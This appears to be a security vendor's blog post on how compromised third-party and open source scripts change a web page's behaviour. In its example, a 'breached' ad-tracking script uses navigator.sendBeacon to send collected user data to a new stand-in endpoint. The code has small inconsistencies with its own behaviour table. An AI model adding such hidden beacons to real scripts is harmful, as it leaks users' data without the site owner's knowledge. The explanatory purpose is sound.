Developing and managing a web application to scale has evolved in many different ways over the past two decades. In the following post, we’ll describe how a few of the more notable changes have led web application operators into a challenging situation.
With the growth in global internet bandwidth, stronger computers and extremely powerful modern browsers, web application architecture has changed significantly in two aspects:
With the increasing complexity of web development processes and the multiple functions that are needed within the web development team, website teams keep growing. As a result of the shift to client-side development, web developers are moving to front-end or full-stack development. Web developer job growth is expected to increase by 27% by 2024, according to the U.S. Bureau of Labor Statistics, and full stack engineer ranked second in Glassdoor’s list of 50 Best Jobs in 2022. It all boils down to the fact that there are many more “hands” working on the same code base, pushing new code to the browser.
A few years back, a single team was responsible for all aspects of web application development. Current challenges have created a dynamic situation where multiple teams are working on the same website, each in a different section or layer, and often completely out of sync for changes with mutual impact.
Developers once had full accountability for website source code. Today things are a bit different, due to the following trends in the last few years:
Everything described above has led to a situation where a standard web app easily becomes a large system built from in-house code, third-party vendor code and open source libraries, all managed by different teams. Together, this significantly increases your vulnerability to client-side attacks. The root of the problem is that these libraries are statically loaded into the page by an inline snippet, but dynamically change their content in the background, outside of the site owner's control.
Let’s differentiate between the main sources of these modules
Third-party vendors - These are companies which the web operator is contracting to provide a service. Such vendors are supposed to be reliable — and, in many cases, compliant with various standards — but they don’t usually provide visibility to code updates or changes, nor the ability to lock a specific version that was audited when first integrated.
Open source libraries - While these provide many benefits and enable developers to lock a version and stay in control, it is extremely hard for a site operator to monitor and audit the entire code. On several occasions, such libraries have become compromised.
Scripts from third-party vendors and open sources libraries can lead to JavaScript behavioral changes on the page, affecting factors such as:
There is often a gap between the strict supervision of in-house code changes pushed to production and the lack of supervision of changes to third-party code — even though both of them are running on the same webpage.
Now, I will show how attackers abuse this trend and suggest different methods that can help get visibility and better insights into analyzing front-end code and changes in it.
Let’s take a simplified example of how the behavior of a third-party library may change as a result of a breach. This is an ad optimization third-party library that collects ad related metrics and was added to a website by the marketing team. After the third-party vendor that provides this service was breached, the behavior of the library has changed. The new behavior of the library potentially leaks users’ sensitive data to an unfamiliar HTTP endpoint, unbeknownst to the web operator, who can do nothing to prevent or mitigate this data leak.
The script was added to the tag from a known CDN
<head>
<script src="http://SOME-CDN.com/assets/ad_tracker.js"></script>
</head>
The Original adtracker.js_
let EVENTS = [];
const TARGET_SERVER = "https://events-server.com/api";
document.getElementById("ad").addEventListener("mousemove", function(event) {
const lastPos = `${event.clientY},${event.clientX}`;
EVENTS.push(lastPos);
document.cookie = `lastpos=${lastPos}`;
if (EVENTS.length > 10) {
flashEvents();
}
});
function flashEvents() {
let xhr = new XMLHttpRequest();
xhr.open("POST", TARGET_SERVER);
xhr.send(JSON.stringify(EVENTS));
EVENTS = [];
}
Let's map the behavior of the script:
Operator | Action | Target |
---|---|---|
ad_tracker.js | Set cookie | “lastpos” cookie |
ad_tracker.js | DOM Element Lookup | DIV#ad |
ad_tracker.js | Network XHR | https://events-server.com/api |
Now at this stage, the script got breached, and with the content change, the script behavior changed as well. The script still performs most of the actions performed before, only now, new actions have also been added. These actions are taking the sensitive data collected by the original script and sending it to a new endpoint to be saved by an unfamiliar browser storage entity.
New adtracker.js version content_
let EVENTS = [];
const TARGET_SERVER = "https://events-server.com/api";
const TARGET_SERVER1 = "https://users-server.com/api";
document.getElementById("ad").addEventListener("mousemove", function(event) {
const lastPos = `${event.clientY},${event.clientX}`;
EVENTS.push(lastPos);
document.cookie = `lastpos_cookie=${lastPos}`;
localStorage.setItem("lastpos", `${lastPos}`); // User’s data is saved to a new storage entity
if (EVENTS.length > 10) {
flashEvents();
}
});
function flashEvents() {
let xhr = new XMLHttpRequest();
xhr.open("POST", TARGET_SERVER);
xhr.send(JSON.stringify(EVENTS));
EVENTS = [];
if (navigator.sendBeacon) {
const data = "events=" + JSON.stringify(EVENTS);
navigator.sendBeacon(TARGET_SERVER1, data); // User’s data is sent to a new HTTP endpoint
}
}
Here’s how the new behavior map of the script looks like:
Operator | Action | Target | Details |
---|---|---|---|
ad_tracker.js | Cookie Setter | “lastpos_data” cookie | Target changed |
ad_tracker.js | DOM Element Lookup | DIV#ad | Known behavior |
ad_tracker.js | Network XHR | https://events-server.com/api | Known behavior |
ad_tracker.js | Localstorage Setter | "lastpos" storage key | New behavior |
ad_tracker.js | Network Beacon | https://users-server.com/api | New behavior |
The new actions performed by the third-party library are completely invisible to the web developers and SREs responsible for the site performance and experience. Even so, they are still liable for their users’ data. This script could potentially send sensitive data from the local storage to an unknown domain, and they would not be notified of this kind of change nor have an easy way to control it.
This is just one example of what constantly happens on the client-side of the websites, leaving the website's operator blind to a significant part of the website activity.
In the second blog post in this series, we’ll talk about how these changing libraries open a door for data breaches and user session hijacking threats.